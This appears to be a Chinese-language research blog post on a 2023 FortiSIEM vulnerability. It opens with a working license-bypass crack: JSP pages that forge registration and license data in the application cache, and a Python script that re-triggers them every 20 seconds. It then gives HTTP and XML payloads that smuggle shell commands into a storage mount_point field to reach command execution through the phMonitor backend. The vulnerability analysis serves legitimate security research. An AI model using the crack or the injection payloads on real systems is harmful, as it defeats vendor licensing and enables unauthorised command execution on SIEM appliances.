文章

FortiSIEM CVE 2023

FortiSIEM CVE 2023

环境部署

一个坑点是,需要5块硬盘才能正常部署,通过/usr/local/bin/configFSM.sh进入gui,进行图形化部署

Untitled

选择SuperViosr模式进行部署

License

代码有一些列的filter检查

Untitled

dorestFilter会检查是否注册

Untitled

实际上是通过LicenseService实现的

Untitled

进一步跟进

Untitled

Untitled

因为是根据缓存来判断是否属于注册状态,因此更新缓存即可。

<%@page contentType="text/html" pageEncoding="windows-1252"
import="net.sf.ehcache.CacheManager"
import="net.sf.ehcache.Ehcache"
import="net.sf.ehcache.Element"
import="com.ph.phoenix.framework.security.SecureContexts"

%>

<%
CacheManager manager = SecureContexts.getCacheManager();
Ehcache cache = manager.getEhcache("phoenixSystem");
Boolean isRegistered = true;
Element ele = new Element("isRegistered",isRegistered);
cache.put(ele);
out.println("yes");
%>

然后选择一次磁盘本地部署eventdb即可

但是登录会显示

Untitled

同样的license的信息是从缓存中读取的,但是需要知道具体的格式

Untitled

通过对updateLicenseInfo等方法进行逆向,得到如下代码

<!-- 
SP=1;
mode=1;
LicenseType=2;
starttime=1;
installed=1000;
citems=3000;
endtime=9999999999;
waAdvancedEndTime=9999999999;
endPointDevice=3000;
endPointDeviceEndTime=9999999999;
fsiemClusters=100;
fsiemClustersStartTime=1;
fsiemClustersEndTime=9999999999;
basicAgents=999;
advancedAgents=999;
finAgents=999;
finAgentsEnd=9999999999;
uuid=9f5d4d56-9fb9-6803-c4d3-f1dbb5d4fed4;
eps=9999999999;
epsLicenseQty=9999999999;
epsLicenseEndTime=9999999999;
serialnumber=564d5d9fb99f0368-c4d3f1dbb5d4fed4;
primarySuperUUID=9f5d4d56-9fb9-6803-c4d3-f1dbb5d4fed4;
country=us;
waStartTime=1;
waEndTime=9999999999;
supportEndTime=9999999999;
iocEndTime=9999999999;
storage=3000;
collectors=1000;
haEndTime=9999999999;
 -->

<%@page contentType="text/html" pageEncoding="windows-1252"
import="net.sf.ehcache.CacheManager"
import="net.sf.ehcache.Ehcache"
import="net.sf.ehcache.Element"
import="java.util.Map"
import="java.util.HashMap"
import="com.ph.phoenix.framework.security.SecureContexts"
%>

<%
CacheManager manager = SecureContexts.getCacheManager();
Ehcache cache = manager.getEhcache("phoenixSystem");
Boolean isRegistered = true;
Element ele = new Element("isRegistered",isRegistered);
cache.put(ele);
Map map = new HashMap();
map.put("SP","1");
map.put("mode","1");
map.put("LicenseType","2");
map.put("starttime","1");
map.put("installed","100");
map.put("citems","3000");
map.put("endtime","9999999999");
map.put("waAdvancedEndTime","9999999999");
map.put("endPointDevice","3000");
map.put("endPointDeviceEndTime","9999999999");
map.put("fsiemClusters","100");
map.put("fsiemClustersStartTime","1");
map.put("fsiemClustersEndTime","9999999999");
map.put("basicAgents","999");
map.put("advancedAgents","999");
map.put("finAgents","999");
map.put("finAgentsEnd","9999999999");
map.put("uuid","79214d56-e0df-0e7b-6761-faad3b562fd8");
map.put("eps","9999999999");
map.put("epsLicenseQty","9999999999");
map.put("epsLicenseEndTime","9999999999");
map.put("serialnumber","564d2179dfe07b0e-6761faad3b562fd8");
map.put("primarySuperUUID","79214d56-e0df-0e7b-6761-faad3b562fd8");
map.put("country","cn");
map.put("waStartTime","1");
map.put("waEndTime","9999999999");
map.put("supportEndTime","9999999999");
map.put("iocEndTime","9999999999");
map.put("storage","2000");
map.put("collectors","2000");
map.put("haEndTime","9999999999");

Element ele2 = new Element("sysLicense",map);
cache.put(ele2);
out.println("yes");
%>

其中系统信息可以从这里获得

Untitled

获取设备的uuid和serialnumber信息

在/opt/glassfish5/glassfish/domains/domain1/applications/phoenix/phoenix-web-1.0_war/目录下创建updateLicense.jsp,替换serialnumber 和uuid为机器上的值

激活脚本

1.	import requests  
2.	import time  
3.	import sys  
4.	  
5.	def update_license(ip):  
6.	    try:  
7.	        url = f"http://{ip}/phoenix/updateLicense.jsp"  
8.	        r = requests.get(url,verify=False,timeout=5)  
9.	        if r.status_code == 200:  
10.	            return True  
11.	    except:  
12.	        return False  
13.	  
14.	  
15.	  
16.	  
17.	if len(sys.argv) != 2:  
18.	    print("python exp.py target_ip")  
19.	    print("python exp.py 192.168.1.110")  
20.	    exit(1)  
21.	else:  
22.	    ip = sys.argv[1]  
23.	    cnt = 0   
24.	    while True:  
25.	        if update_license(ip):  
26.	            print(f"[+] update license {cnt}th time succeed")  
27.	        else:  
28.	            print(f"[-] update license {cnt}th time failed")  
29.	        cnt += 1  
30.	        time.sleep(20)

漏洞信息

Untitled

通过compare发现有几个python文件进行了修改

Untitled

通过对java代码分析,可以找到对应的调用点,但是是授权的命令执行

POST /phoenix/rest/h5/sys/config/storage/update?t=t1700559202749&s=506E71396C66734D536C7653514B534F41756756494367796B5534683236646F664D64666F777737 HTTP/1.1
Host: 192.168.1.189
Cookie: JSESSIONID=0cb095266c4bfeb225829a33bb6d; s=Pnq9lfsMSlvSQKSOAugVICgykU4h26dofMdfoww7
Content-Length: 239
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Access-Control-Allow-Methods: GET, PUT, POST, DELETE, HEAD, OPTIONS
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
Access-Control-Allow-Headers: content-type
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.189
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.189/phoenix/html/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

[{"left":"storage_type","right":"clickhouse"},{"left":"is_storage_online","right":true},{"left":"using_aws","right":false},{"left":"clickhouse_config","right":"{\"hotList\":[{\"diskPath\":\"/dev/sdf\",\"mountPoint\":\";id>/tmp/111;\"}]}"}]

检查了几乎所有变动的class文件没有发现疑似命令执行的点,而且所有的java api都有鉴权。也没有找到绕过的办法。

phMonitor

通过netstat 发现phMonitor 监听了7900等几个端口,同时对phMonitor逆向发现注册了很多的handler

Untitled

其中关于storage的handler会调用datastore.py

Untitled

但是通过这种注册handler的方式,无法直接知道到底是那个端口在接受数据,数据报文的格式是什么样子,这里直接对phMonitor进行调试,下断点发现数据格式为xml格式

Untitled

结合对java的逆向,发现phMonitor是实际的后端程序,java是客户端,使用notifyBackend方法,调用sendComand,具体的数据包格式可以在sendcommand中发现

Untitled

具体格式为

Untitled

实际上通过test就可以触发命令执行

Untitled

调试发现对应的bt,以及报文格式

Untitled

"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<TEST_STORAGE type=\"clickhouse\">\n    <storage_configuration>\n        <hot>\n", ' ' <repeats 12 times>, "<disk>\n", ' ' <repeats 16 times>, "<path>/dev/sde</path>\n", ' ' <repeats 12 times>...
0x2b41148:      "    <mount_point>|id&gt;/tmp/111</mount_point>\n", ' ' <repeats 12 times>, "</disk>\n        </hot>\n    </storage_configuration>\n</TEST_STORAGE>\n"
License:  CC BY 4.0